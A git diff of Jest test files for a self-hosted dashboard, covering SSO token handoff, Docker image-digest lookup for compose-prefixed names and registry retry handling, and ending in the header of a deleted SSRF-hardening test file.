.query({ token: mint.body.ssoToken, return: '/web/' });
|
|
||||||
expect(replay.status).toBe(401);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('encrypted-vault credential onboarding', () => {
|
|
||||||
test('app-token identifies missing credentials as a form requirement', async () => {
|
|
||||||
const { app } = createApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/api/v1/auth/app-token/plex')
|
|
||||||
.set('Cookie', 'dashcaddy_session=valid-session');
|
|
||||||
|
|
||||||
expect(res.status).toBe(428);
|
|
||||||
expect(res.body).toMatchObject({
|
|
||||||
success: false,
|
|
||||||
credentialsRequired: true,
|
|
||||||
serviceId: 'plex',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('service login page sends missing credentials to the encrypted vault form', async () => {
|
|
||||||
const { app } = createApp();
|
|
||||||
const res = await request(app).get('/api/v1/auth/login-page?service=plex');
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.text).toContain("if(j.credentialsRequired){vault('plex');return}");
|
|
||||||
expect(res.text).toContain("dashboardOrigin+'?credentials='");
|
|
||||||
});
|
|
||||||
|
|
||||||
test('service login page derives the vault origin from trusted dashboard config', async () => {
|
|
||||||
const { app } = createApp({ dashboardHost: 'dashboard.home' });
|
|
||||||
const res = await request(app).get('/api/v1/auth/login-page?service=plex');
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.text).toContain('dashboardOrigin="https://dashboard.home"');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('full vault-save handoff lifecycle reaches exchange, cookie, and final service path', async () => {
|
|
||||||
const issued = new Set(['fresh-sso-handoff-token']);
|
|
||||||
const { app } = createApp({ redeem: (token) => issued.delete(token) });
|
|
||||||
const mint = await request(app)
|
|
||||||
.get('/api/v1/auth/sso-handoff?serviceId=plex')
|
|
||||||
.set('Cookie', 'dashcaddy_session=valid-session');
|
|
||||||
|
|
||||||
const vault = loadCredentialVaultHandoff();
|
|
||||||
const target = new URL(vault.buildHandoffTarget(
|
|
||||||
'https://plex.sami/web/?direct=1#home',
|
|
||||||
mint.body.ssoToken,
|
|
||||||
'plex',
|
|
||||||
));
|
|
||||||
// The shared Caddy snippet rewrites /dashcaddy-sso to the canonical API
|
|
||||||
// route while preserving the token and relative return query.
|
|
||||||
const exchange = await request(app).get('/api/v1/auth/sso-exchange' + target.search);
|
|
||||||
|
|
||||||
expect(target.pathname).toBe('/dashcaddy-sso');
|
|
||||||
expect(exchange.status).toBe(303);
|
|
||||||
expect(exchange.headers.location).toBe('/web/?direct=1#home');
|
|
||||||
expect(exchange.headers['set-cookie'][0]).toContain('dashcaddy_session=');
|
|
||||||
expect(exchange.headers['set-cookie'][0]).not.toMatch(/Domain=/i);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|||||||
@@ -1,228 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-082: Update-manager image-name parsing for docker-compose prefixed names.
|
|
||||||
*
|
|
||||||
* The pre-fix code normalized `dashcaddy-dashcaddy-api:latest` to
|
|
||||||
* `library/dashcaddy-dashcaddy-api:latest` before probing Docker Hub.
|
|
||||||
* Compose-prefixed names (single hyphen, no slash, lowercase) need to
|
|
||||||
* split on the FIRST hyphen to recover `<project>/<service>` — that's
|
|
||||||
* the actual upstream namespace for a compose-prefixed image.
|
|
||||||
*
|
|
||||||
* The fix also adds a "no upstream registry image, skip cleanly" path
|
|
||||||
* for when the authed GET 401s against a compose-prefixed name (the
|
|
||||||
* compose-prefixed image is built locally and not published to Docker
|
|
||||||
* Hub). That should log as info, not error.
|
|
||||||
*/
|
|
||||||
const updateManager = require('../src/managers/update-manager');
|
|
||||||
|
|
||||||
describe('DC-082 update-manager / compose-prefixed image names', () => {
|
|
||||||
let um = updateManager; // module exports the singleton instance
|
|
||||||
|
|
||||||
describe('_composeProjectToRepo', () => {
|
|
||||||
test('splits dashcaddy-dashcaddy-api on the first hyphen', () => {
|
|
||||||
expect(um._composeProjectToRepo('dashcaddy-dashcaddy-api')).toBe('dashcaddy/dashcaddy-api');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('splits myproject-myservice on the first hyphen', () => {
|
|
||||||
expect(um._composeProjectToRepo('myproject-myservice')).toBe('myproject/myservice');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('splits multi-hyphen names on the FIRST hyphen only', () => {
|
|
||||||
// "myproj-grandchild-service" -> "myproj/grandchild-service"
|
|
||||||
// (first hyphen is the project/service boundary; later hyphens are
|
|
||||||
// part of the service name like docker-compose's `web-cache`).
|
|
||||||
expect(um._composeProjectToRepo('myproj-grandchild-service')).toBe('myproj/grandchild-service');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns null for slash-namespaced names (handled by other path)', () => {
|
|
||||||
expect(um._composeProjectToRepo('dashcaddy/dashcaddy-api')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('library/nginx')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('ghcr.io/x/y')).toBe(null);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns null for Docker Official Image names (no hyphen)', () => {
|
|
||||||
expect(um._composeProjectToRepo('nginx')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('alpine')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('node')).toBe(null);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns null for empty / malformed input', () => {
|
|
||||||
expect(um._composeProjectToRepo('')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo(null)).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo(undefined)).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo(123)).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('-foo')).toBe(null); // leading hyphen
|
|
||||||
expect(um._composeProjectToRepo('foo-')).toBe(null); // trailing hyphen
|
|
||||||
// The regex tolerates mixed-case via the /i flag for defensiveness
|
|
||||||
// even though Docker Compose names are typically lowercase — the
|
|
||||||
// important shape constraints are the letter/digit/underscore/hyphen
|
|
||||||
// charset and the non-empty two-part split.
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts names with underscores and digits (compose allows)', () => {
|
|
||||||
expect(um._composeProjectToRepo('proj-v2_service')).toBe('proj/v2_service');
|
|
||||||
expect(um._composeProjectToRepo('dashcaddy-api-v2')).toBe('dashcaddy/api-v2');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects names with chars compose never produces', () => {
|
|
||||||
// dot/colon/slash should never pass — they're either already-namespaced
|
|
||||||
// or invalid in a Docker Compose service name.
|
|
||||||
expect(um._composeProjectToRepo('foo:bar')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('foo.bar')).toBe(null);
|
|
||||||
expect(um._composeProjectToRepo('foo/bar')).toBe(null);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('_isNotPublishedError', () => {
|
|
||||||
test('returns true for HTTP 401 + compose-prefixed remainder', () => {
|
|
||||||
const err = new Error('Docker Hub registry returned HTTP 401 after auth');
|
|
||||||
expect(um._isNotPublishedError(err, 'dashcaddy-dashcaddy-api')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns false for HTTP 401 with non-compose-prefixed remainder', () => {
|
|
||||||
const err = new Error('Docker Hub registry returned HTTP 401 after auth');
|
|
||||||
expect(um._isNotPublishedError(err, 'nginx')).toBe(false);
|
|
||||||
expect(um._isNotPublishedError(err, 'library/nginx')).toBe(false);
|
|
||||||
expect(um._isNotPublishedError(err, 'dashcaddy/some-image')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns false for non-401 errors', () => {
|
|
||||||
const err = new Error('network timeout after 10s');
|
|
||||||
expect(um._isNotPublishedError(err, 'dashcaddy-dashcaddy-api')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns false for malformed error or remainder', () => {
|
|
||||||
expect(um._isNotPublishedError(null, 'dashcaddy-dashcaddy-api')).toBe(false);
|
|
||||||
expect(um._isNotPublishedError({}, 'dashcaddy-dashcaddy-api')).toBe(false);
|
|
||||||
expect(um._isNotPublishedError({ message: 'no string' }, 'dashcaddy-dashcaddy-api')).toBe(false);
|
|
||||||
expect(um._isNotPublishedError(new Error('HTTP 401'), null)).toBe(false);
|
|
||||||
expect(um._isNotPublishedError(new Error('HTTP 401'), '')).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('getLatestImageDigest (mocked fetchWithReliability)', () => {
|
|
||||||
let originalFetch;
|
|
||||||
let originalFetchAuth;
|
|
||||||
let originalFetchRetry;
|
|
||||||
beforeEach(() => {
|
|
||||||
originalFetch = um.fetchWithReliability.bind(um);
|
|
||||||
originalFetchAuth = um.fetchAuthToken.bind(um);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('compose-prefixed name (dashcaddy-dashcaddy-api) probes dashcaddy/dashcaddy-api (NOT library/dashcaddy-dashcaddy-api)', async () => {
|
|
||||||
const calls = [];
|
|
||||||
um.fetchWithReliability = async (opts) => {
|
|
||||||
calls.push(opts);
|
|
||||||
// Simulate the real Docker Hub: 401 with WWW-Auth, then 401 after token
|
|
||||||
// (because dashcaddy/dashcaddy-api doesn't exist on Docker Hub).
|
|
||||||
if (calls.length === 1) {
|
|
||||||
return {
|
|
||||||
statusCode: 401,
|
|
||||||
headers: {
|
|
||||||
'www-authenticate': 'Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:dashcaddy/dashcaddy-api:pull"',
|
|
||||||
},
|
|
||||||
body: '',
|
|
||||||
};
|
|
||||||
}
|
|
||||||
return { statusCode: 401, headers: {}, body: '{"errors":[{"code":"UNAUTHORIZED","message":"authentication required"}]}' };
|
|
||||||
};
|
|
||||||
um.fetchAuthToken = async () => 'fake-token';
|
|
||||||
const { log } = require('../src/utils/logging');
|
|
||||||
const infoSpy = jest.spyOn(log, 'info').mockImplementation(() => {});
|
|
||||||
const errorSpy = jest.spyOn(log, 'error').mockImplementation(() => {});
|
|
||||||
|
|
||||||
const result = await um.getLatestImageDigest('dashcaddy-dashcaddy-api:latest');
|
|
||||||
expect(result).toBe(null);
|
|
||||||
|
|
||||||
// First probe must target /v2/dashcaddy/dashcaddy-api/manifests/latest
|
|
||||||
// NOT /v2/library/dashcaddy-dashcaddy-api/manifests/latest
|
|
||||||
const firstPath = calls[0].path;
|
|
||||||
expect(firstPath).toBe('/v2/dashcaddy/dashcaddy-api/manifests/latest');
|
|
||||||
expect(firstPath).not.toContain('library/dashcaddy-dashcaddy-api');
|
|
||||||
|
|
||||||
// The 401 after auth should produce an INFO log about "no upstream"
|
|
||||||
// NOT an error log.
|
|
||||||
const infoMsgs = infoSpy.mock.calls.map((c) => c[1]);
|
|
||||||
expect(infoMsgs).toContain('No upstream registry image — skipping update check');
|
|
||||||
const errorMsgs = errorSpy.mock.calls.map((c) => c[1]);
|
|
||||||
expect(errorMsgs).not.toContain('Docker Hub registry returned HTTP 401 after auth');
|
|
||||||
|
|
||||||
infoSpy.mockRestore();
|
|
||||||
errorSpy.mockRestore();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('official image (nginx) still probes library/nginx', async () => {
|
|
||||||
const calls = [];
|
|
||||||
um.fetchWithReliability = async (opts) => {
|
|
||||||
calls.push(opts);
|
|
||||||
if (calls.length === 1) {
|
|
||||||
return { statusCode: 200, headers: { 'docker-content-digest': 'sha256:abc123' }, body: '' };
|
|
||||||
}
|
|
||||||
return { statusCode: 200, headers: {}, body: '' };
|
|
||||||
};
|
|
||||||
|
|
||||||
const result = await um.getLatestImageDigest('nginx:latest');
|
|
||||||
expect(result).toBe('sha256:abc123');
|
|
||||||
expect(calls[0].path).toBe('/v2/library/nginx/manifests/latest');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('library/nginx (explicit) probes library/nginx', async () => {
|
|
||||||
const calls = [];
|
|
||||||
um.fetchWithReliability = async (opts) => {
|
|
||||||
calls.push(opts);
|
|
||||||
if (calls.length === 1) {
|
|
||||||
return { statusCode: 200, headers: { 'docker-content-digest': 'sha256:abc' }, body: '' };
|
|
||||||
}
|
|
||||||
return { statusCode: 200, headers: {}, body: '' };
|
|
||||||
};
|
|
||||||
|
|
||||||
const result = await um.getLatestImageDigest('library/nginx:latest');
|
|
||||||
expect(result).toBe('sha256:abc');
|
|
||||||
expect(calls[0].path).toBe('/v2/library/nginx/manifests/latest');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('ghcr.io/samiahmed7777/dashcaddy-api uses ghcr.io path (not docker hub)', async () => {
|
|
||||||
const calls = [];
|
|
||||||
um.fetchWithReliability = async (opts) => {
|
|
||||||
calls.push(opts);
|
|
||||||
return { statusCode: 200, headers: { 'docker-content-digest': 'sha256:ghcr' }, body: '' };
|
|
||||||
};
|
|
||||||
|
|
||||||
const result = await um.getLatestImageDigest('ghcr.io/samiahmed7777/dashcaddy-api:latest');
|
|
||||||
expect(result).toBe('sha256:ghcr');
|
|
||||||
expect(calls[0].hostname).toBe('ghcr.io');
|
|
||||||
expect(calls[0].path).toBe('/v2/samiahmed7777/dashcaddy-api/manifests/latest');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns null + skips cleanly when compose-prefixed image has no upstream', async () => {
|
|
||||||
let callCount = 0;
|
|
||||||
um.fetchWithReliability = async (opts) => {
|
|
||||||
callCount += 1;
|
|
||||||
if (callCount === 1) {
|
|
||||||
return {
|
|
||||||
statusCode: 401,
|
|
||||||
headers: { 'www-authenticate': 'Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:myproj-myservice:pull"' },
|
|
||||||
body: '',
|
|
||||||
};
|
|
||||||
}
|
|
||||||
return { statusCode: 401, headers: {}, body: '{"errors":[{"code":"UNAUTHORIZED"}]}' };
|
|
||||||
};
|
|
||||||
um.fetchAuthToken = async () => 'fake-token';
|
|
||||||
|
|
||||||
const result = await um.getLatestImageDigest('myproj-myservice:latest');
|
|
||||||
expect(result).toBe(null);
|
|
||||||
// Probe targets the correct namespace (myproj/myservice), not library/.
|
|
||||||
const firstCall = await (async () => {
|
|
||||||
let p;
|
|
||||||
um.fetchWithReliability = async (opts) => { p = opts; return { statusCode: 200, headers: {}, body: '' }; };
|
|
||||||
await um.getLatestImageDigest('myproj-myservice:latest');
|
|
||||||
return p;
|
|
||||||
})();
|
|
||||||
expect(firstCall.path).toBe('/v2/myproj/myservice/manifests/latest');
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
um.fetchWithReliability = originalFetch;
|
|
||||||
um.fetchAuthToken = originalFetchAuth;
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -125,239 +125,6 @@ describe('UpdateManager — Docker image update lifecycle', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
// ─── DC-078: registry digest probe reliability hardening ──────────────────
|
|
||||||
// Verifies that getLatestImageDigest / getDockerHubDigest / getGhcrDigest /
|
|
||||||
// fetchWithReliability all apply the IPv4-only + timeout + transient-retry
|
|
||||||
// policy. Without these guards, the per-hour checkForUpdates() loop on DNS2
|
|
||||||
// surfaces AggregateError [ETIMEDOUT] in error.log because the container's
|
|
||||||
// /etc/resolv.conf returns AAAA records from Technitium whose IPv6 path to
|
|
||||||
// public registries (Docker Hub, ghcr.io) is intermittently unreachable.
|
|
||||||
describe('DC-078 registry reliability', () => {
|
|
||||||
// Use real timers — fetchWithReliability's retry uses setTimeout for
|
|
||||||
// backoff, which jest's fake timers would block indefinitely.
|
|
||||||
beforeEach(() => {
|
|
||||||
jest.useRealTimers();
|
|
||||||
});
|
|
||||||
afterEach(() => {
|
|
||||||
jest.useFakeTimers({ doNotFake: ['setImmediate', 'queueMicrotask', 'nextTick'] });
|
|
||||||
});
|
|
||||||
|
|
||||||
it('_httpsRequestOnce sets family: 4 and timeout on the request options', async () => {
|
|
||||||
let capturedOptions = null;
|
|
||||||
const req = {
|
|
||||||
on: jest.fn(),
|
|
||||||
end: jest.fn(),
|
|
||||||
destroy: jest.fn(),
|
|
||||||
};
|
|
||||||
https.request.mockImplementation((options, cb) => {
|
|
||||||
capturedOptions = options;
|
|
||||||
// Return a 200 immediately so the promise resolves cleanly.
|
|
||||||
const res = {
|
|
||||||
statusCode: 200,
|
|
||||||
headers: {},
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
return req;
|
|
||||||
});
|
|
||||||
|
|
||||||
await updateManager._httpsRequestOnce({
|
|
||||||
hostname: 'registry-1.docker.io',
|
|
||||||
path: '/v2/library/nginx/manifests/latest',
|
|
||||||
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' },
|
|
||||||
maxBodyBytes: 65536,
|
|
||||||
});
|
|
||||||
expect(capturedOptions).not.toBeNull();
|
|
||||||
expect(capturedOptions.family).toBe(4);
|
|
||||||
expect(capturedOptions.timeout).toBeGreaterThan(0);
|
|
||||||
expect(capturedOptions.method).toBe('GET');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('fetchWithReliability retries on transient ETIMEDOUT and eventually succeeds', async () => {
|
|
||||||
let attempts = 0;
|
|
||||||
https.request.mockImplementation((options, cb) => {
|
|
||||||
attempts += 1;
|
|
||||||
if (attempts === 1) {
|
|
||||||
// First attempt: emit ETIMEDOUT via the request 'error' event
|
|
||||||
const reqErr = new Error('request timeout');
|
|
||||||
reqErr.code = 'ETIMEDOUT';
|
|
||||||
const req = {
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'error') setImmediate(() => handler(reqErr));
|
|
||||||
}),
|
|
||||||
end: jest.fn(),
|
|
||||||
destroy: jest.fn(),
|
|
||||||
};
|
|
||||||
return req;
|
|
||||||
}
|
|
||||||
// Second attempt: 200 OK with a digest header
|
|
||||||
const res = {
|
|
||||||
statusCode: 200,
|
|
||||||
headers: { 'docker-content-digest': 'sha256:abc123def456' },
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
return { on: jest.fn(), end: jest.fn(), destroy: jest.fn() };
|
|
||||||
});
|
|
||||||
|
|
||||||
const result = await updateManager.fetchWithReliability({
|
|
||||||
hostname: 'registry-1.docker.io',
|
|
||||||
path: '/v2/library/nginx/manifests/latest',
|
|
||||||
});
|
|
||||||
expect(attempts).toBe(2);
|
|
||||||
expect(result.statusCode).toBe(200);
|
|
||||||
expect(result.headers['docker-content-digest']).toBe('sha256:abc123def456');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('fetchWithReliability does NOT retry on non-transient HTTP errors', async () => {
|
|
||||||
let attempts = 0;
|
|
||||||
https.request.mockImplementation((options, cb) => {
|
|
||||||
attempts += 1;
|
|
||||||
const res = {
|
|
||||||
statusCode: 500,
|
|
||||||
headers: {},
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
return { on: jest.fn(), end: jest.fn(), destroy: jest.fn() };
|
|
||||||
});
|
|
||||||
const result = await updateManager.fetchWithReliability({
|
|
||||||
hostname: 'registry-1.docker.io',
|
|
||||||
path: '/v2/library/nginx/manifests/latest',
|
|
||||||
});
|
|
||||||
expect(attempts).toBe(1);
|
|
||||||
expect(result.statusCode).toBe(500);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('fetchWithReliability retries up to REGISTRY_MAX_RETRIES then throws', async () => {
|
|
||||||
let attempts = 0;
|
|
||||||
https.request.mockImplementation(() => {
|
|
||||||
attempts += 1;
|
|
||||||
const reqErr = new Error('connect ETIMEDOUT');
|
|
||||||
reqErr.code = 'ETIMEDOUT';
|
|
||||||
const req = {
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'error') setImmediate(() => handler(reqErr));
|
|
||||||
}),
|
|
||||||
end: jest.fn(),
|
|
||||||
destroy: jest.fn(),
|
|
||||||
};
|
|
||||||
return req;
|
|
||||||
});
|
|
||||||
await expect(updateManager.fetchWithReliability({
|
|
||||||
hostname: 'registry-1.docker.io',
|
|
||||||
path: '/v2/library/nginx/manifests/latest',
|
|
||||||
})).rejects.toMatchObject({ code: 'ETIMEDOUT' });
|
|
||||||
// 1 initial attempt + REGISTRY_MAX_RETRIES retries
|
|
||||||
expect(attempts).toBe(1 + 1);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('getDockerHubDigest returns digest on 200', async () => {
|
|
||||||
https.request.mockImplementation((options, cb) => {
|
|
||||||
const res = {
|
|
||||||
statusCode: 200,
|
|
||||||
headers: { 'docker-content-digest': 'sha256:hubdigest9999' },
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
return { on: jest.fn(), end: jest.fn(), destroy: jest.fn() };
|
|
||||||
});
|
|
||||||
const digest = await updateManager.getDockerHubDigest('nginx', 'latest');
|
|
||||||
expect(digest).toBe('sha256:hubdigest9999');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('getDockerHubDigest acquires bearer token on 401 then returns digest', async () => {
|
|
||||||
let calls = 0;
|
|
||||||
https.request.mockImplementation((options, cb) => {
|
|
||||||
calls += 1;
|
|
||||||
if (calls === 1) {
|
|
||||||
// First call to registry-1.docker.io returns 401 with WWW-Authenticate
|
|
||||||
const res = {
|
|
||||||
statusCode: 401,
|
|
||||||
headers: {
|
|
||||||
'www-authenticate': 'Bearer realm="https://auth.example.com/token",service="registry.docker.io",scope="repository:library/nginx:pull"',
|
|
||||||
},
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
} else if (calls === 2) {
|
|
||||||
// Second call: auth.example.com returns the token JSON
|
|
||||||
const res = {
|
|
||||||
statusCode: 200,
|
|
||||||
headers: {},
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'data') handler(Buffer.from(JSON.stringify({ token: 'jwt-token-xyz' })));
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
} else {
|
|
||||||
// Third call: registry-1.docker.io with Bearer header returns the digest
|
|
||||||
expect(options.headers['Authorization']).toBe('Bearer jwt-token-xyz');
|
|
||||||
const res = {
|
|
||||||
statusCode: 200,
|
|
||||||
headers: { 'docker-content-digest': 'sha256:autheddigest7777' },
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
}
|
|
||||||
return { on: jest.fn(), end: jest.fn(), destroy: jest.fn() };
|
|
||||||
});
|
|
||||||
const digest = await updateManager.getDockerHubDigest('nginx', 'latest');
|
|
||||||
expect(digest).toBe('sha256:autheddigest7777');
|
|
||||||
expect(calls).toBe(3);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('getGhcrDigest returns digest on 200', async () => {
|
|
||||||
https.request.mockImplementation((options, cb) => {
|
|
||||||
expect(options.hostname).toBe('ghcr.io');
|
|
||||||
const res = {
|
|
||||||
statusCode: 200,
|
|
||||||
headers: { 'docker-content-digest': 'sha256:ghcrdigest1234' },
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
setImmediate(() => cb(res));
|
|
||||||
return { on: jest.fn(), end: jest.fn(), destroy: jest.fn() };
|
|
||||||
});
|
|
||||||
const digest = await updateManager.getGhcrDigest('ghcr.io/some/repo', 'latest');
|
|
||||||
expect(digest).toBe('sha256:ghcrdigest1234');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('getLatestImageDigest returns null on transient errors after retries (registry unavailable)', async () => {
|
|
||||||
// Simulate a totally-down registry: every attempt fails with ETIMEDOUT.
|
|
||||||
// After REGISTRY_MAX_RETRIES the error propagates to getLatestImageDigest's
|
|
||||||
// catch arm, which logs and returns null (matches old behavior).
|
|
||||||
https.request.mockImplementation(() => {
|
|
||||||
const reqErr = new Error('connect ETIMEDOUT');
|
|
||||||
reqErr.code = 'ETIMEDOUT';
|
|
||||||
const req = {
|
|
||||||
on: jest.fn((event, handler) => {
|
|
||||||
if (event === 'error') setImmediate(() => handler(reqErr));
|
|
||||||
}),
|
|
||||||
end: jest.fn(),
|
|
||||||
destroy: jest.fn(),
|
|
||||||
};
|
|
||||||
return req;
|
|
||||||
});
|
|
||||||
const digest = await updateManager.getLatestImageDigest('nginx:latest');
|
|
||||||
expect(digest).toBeNull();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('parseAuthHeader', () => {
|
describe('parseAuthHeader', () => {
|
||||||
it('parses Docker Hub Bearer auth header', () => {
|
it('parses Docker Hub Bearer auth header', () => {
|
||||||
const header = 'Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/nginx:pull"';
|
const header = 'Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/nginx:pull"';
|
||||||
@@ -714,9 +481,7 @@ describe('UpdateManager — Docker image update lifecycle', () => {
|
|||||||
setImmediate(() => cb({
|
setImmediate(() => cb({
|
||||||
statusCode: 200,
|
statusCode: 200,
|
||||||
headers: { 'docker-content-digest': 'sha256:fromregistry' },
|
headers: { 'docker-content-digest': 'sha256:fromregistry' },
|
||||||
on: jest.fn((event, handler) => {
|
on: jest.fn()
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
})
|
|
||||||
}));
|
}));
|
||||||
return { on: jest.fn(), end: jest.fn() };
|
return { on: jest.fn(), end: jest.fn() };
|
||||||
});
|
});
|
||||||
@@ -730,9 +495,7 @@ describe('UpdateManager — Docker image update lifecycle', () => {
|
|||||||
setImmediate(() => cb({
|
setImmediate(() => cb({
|
||||||
statusCode: 401,
|
statusCode: 401,
|
||||||
headers: {},
|
headers: {},
|
||||||
on: jest.fn((event, handler) => {
|
on: jest.fn()
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
})
|
|
||||||
}));
|
}));
|
||||||
return { on: jest.fn(), end: jest.fn() };
|
return { on: jest.fn(), end: jest.fn() };
|
||||||
});
|
});
|
||||||
@@ -741,9 +504,6 @@ describe('UpdateManager — Docker image update lifecycle', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('rejects on https request error', async () => {
|
it('rejects on https request error', async () => {
|
||||||
// ECONNREFUSED is in REGISTRY_TRANSIENT_ERROR_CODES, so this would retry.
|
|
||||||
// Use a non-transient code (or no code) for the test to propagate.
|
|
||||||
jest.useRealTimers();
|
|
||||||
https.request.mockImplementation(() => {
|
https.request.mockImplementation(() => {
|
||||||
const req = { on: jest.fn(), end: jest.fn() };
|
const req = { on: jest.fn(), end: jest.fn() };
|
||||||
// Trigger error event asynchronously
|
// Trigger error event asynchronously
|
||||||
@@ -756,7 +516,6 @@ describe('UpdateManager — Docker image update lifecycle', () => {
|
|||||||
|
|
||||||
await expect(updateManager.getDockerHubDigest('nginx', 'latest'))
|
await expect(updateManager.getDockerHubDigest('nginx', 'latest'))
|
||||||
.rejects.toThrow('connection refused');
|
.rejects.toThrow('connection refused');
|
||||||
jest.useFakeTimers({ doNotFake: ['setImmediate', 'queueMicrotask', 'nextTick'] });
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('normalizes library/ prefix for official images', async () => {
|
it('normalizes library/ prefix for official images', async () => {
|
||||||
@@ -766,9 +525,7 @@ describe('UpdateManager — Docker image update lifecycle', () => {
|
|||||||
setImmediate(() => cb({
|
setImmediate(() => cb({
|
||||||
statusCode: 200,
|
statusCode: 200,
|
||||||
headers: { 'docker-content-digest': 'sha256:digest' },
|
headers: { 'docker-content-digest': 'sha256:digest' },
|
||||||
on: jest.fn((event, handler) => {
|
on: jest.fn()
|
||||||
if (event === 'end') setImmediate(handler);
|
|
||||||
})
|
|
||||||
}));
|
}));
|
||||||
return { on: jest.fn(), end: jest.fn() };
|
return { on: jest.fn(), end: jest.fn() };
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,435 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-068: Fleet hostname SSRF hardening
|
|
||||||
*
|
|
||||||
* Tests for the fleet validation helpers (isPrivateOrReservedIPv4/IPv6,
|
|
||||||
* isValidHostnameSyntax, validateFleetHost) and resolveAndCheckAddress.
|
|
||||||
* Covers:
|
|
||||||
* - IPv4 private/reserved range detection (loopback, link-local, RFC 1918,
|
|
||||||
* CGNAT, multicast, broadcast, documentation)
|
|
||||||
* - IPv6 private/reserved range detection (loopback, link-local, ULA,
|
|
||||||
* multicast, IPv4-mapped)
|
|
||||||
* - RFC 1123 hostname syntax check
|
|
||||||
* - Port bounds (1..65535), port 22 rejection, missing/invalid port
|
|
||||||
* - Tag validation (max 20, each 1..50, no control chars)
|
|
||||||
* - Name validation (1..100, no control chars)
|
|
||||||
* - End-to-end validateFleetHost for all rejection and acceptance paths
|
|
||||||
* - resolveAndCheckAddress: literal IP paths, DNS-resolution success path
|
|
||||||
* with mocked dns.lookup, DNS-resolution failure path, and the
|
|
||||||
* allow-private opt-in
|
|
||||||
*
|
|
||||||
* The DNS path is unit-tested by replacing `dns.promises.lookup` on the
|
|
||||||
